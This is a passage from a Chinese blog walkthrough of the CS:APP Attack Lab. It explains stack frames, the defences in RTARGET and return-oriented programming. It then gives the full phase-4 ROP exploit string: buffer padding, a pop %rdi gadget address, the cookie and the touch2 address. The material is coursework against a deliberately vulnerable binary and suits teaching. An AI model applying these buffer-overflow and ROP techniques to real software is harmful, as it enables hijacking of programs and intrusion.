图文并茂-超详解 CS:APP: Lab3-Attack(附带栈帧分析) (4)

下面还是通过一个栈帧来分析一下发生了什么。

0x5561dca8 (存储了字符串数组) 61 66 37 39 39 62 39 35
0x5561dca0 getbuf的返回地址(text的栈帧)   00 00 00 00 55 61 dc 78  
rsp+20(getbuf的栈帧)   00 00 00 00 00 00 00 00  
rsp+18(getbuf的栈帧)   00 00 00 00 00 00 00 00  
rsp+10(getbuf的栈帧)   00 00 00 00 00 00 00 00  
rsp+8(getbuf的栈帧)   00 00 00 c3 00 40 18 fa  
rsp(getbuf的栈帧)   68 55 61 dc a8 c7 c7 48  
2. Part II: Return-Oriented Programming 介绍

关于第二部分有一大段介绍。在上面点实验说明文档里就有。这里对它简单解释一下

对程序RTARGET进行代码注入攻击比对CTARGET进行难度要大得多,因为它使用两种技术来阻止此类攻击:

随机栈偏移。这让我们很难找到程序的地址

标记为不可执行区域。这使得我们的攻击代码无法被执行。

具体解释可以看下面的截图(截图来自于hit的csapp第三章ppt

图文并茂-超详解 CS:APP: Lab3-Attack(附带栈帧分析)

在这样的限制下,我们不能使用代码注入的方式来进行攻击了,Write up中介绍了ROP这种方式,大致的思想就是我们把栈中放上很多地址,而每次ret都会到一个Gadget(小的代码片段,并且会ret),这样就可以形成一个程序链。通过将程序自身(./rtarget)的指令来完成我们的目的。

图文并茂-超详解 CS:APP: Lab3-Attack(附带栈帧分析)

2.1 level2

对于第4阶段,您将重复第2阶段的攻击,但使用来自您的小工具的程序RTARGET进行此攻击。 您可以使用由以下指令类型组成的小工具(gadgets)来构造解决方案,并且仅使用前八个x86-64寄存器(%rax–%rdi)。

movq : The codes for these are shown in Figure 3A. popq : The codes for these are shown in Figure 3B. ret : This instruction is encoded by the single byte 0xc3. nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single byte 0x90. Its only effect is to cause the program counter to be incremented by 1.

一些建议

所有你需要的gadgets你都可以 found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm.

所以这里我们把rtaget反汇编

objdump -d rtarget >r.txt

你只可以用两个gadgets

当一个小gadgets使用pop指令。你的exploit string中必须含有一个地址和data

图文并茂-超详解 CS:APP: Lab3-Attack(附带栈帧分析)

同时本题给了一些对于汇编代码的encoding例子

图文并茂-超详解 CS:APP: Lab3-Attack(附带栈帧分析)

这里在放一下任务2的代码。我们只需要让传入的第一个参数R[%rdi]=cookie就ok了

void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); }

通过上面的图我们可以知道

图文并茂-超详解 CS:APP: Lab3-Attack(附带栈帧分析)

popq 5f //就是可以popq rdi

在rtarget里面我们发现这样的代码果然出现了

402b18: 41 5f pop %r15 402b1a: c3 retq

所以我们就可以构建我们的答案了。只要让pop的值等于cookie的值。然后在ret之前把地址改成touch2的地址。

@le2.txt 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 2b 40 00 00 00 00 00 #pop %rdi fa 97 b9 59 00 00 00 00 #cookie ec 17 40 00 00 00 00 00 #touch2

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wppxzj.html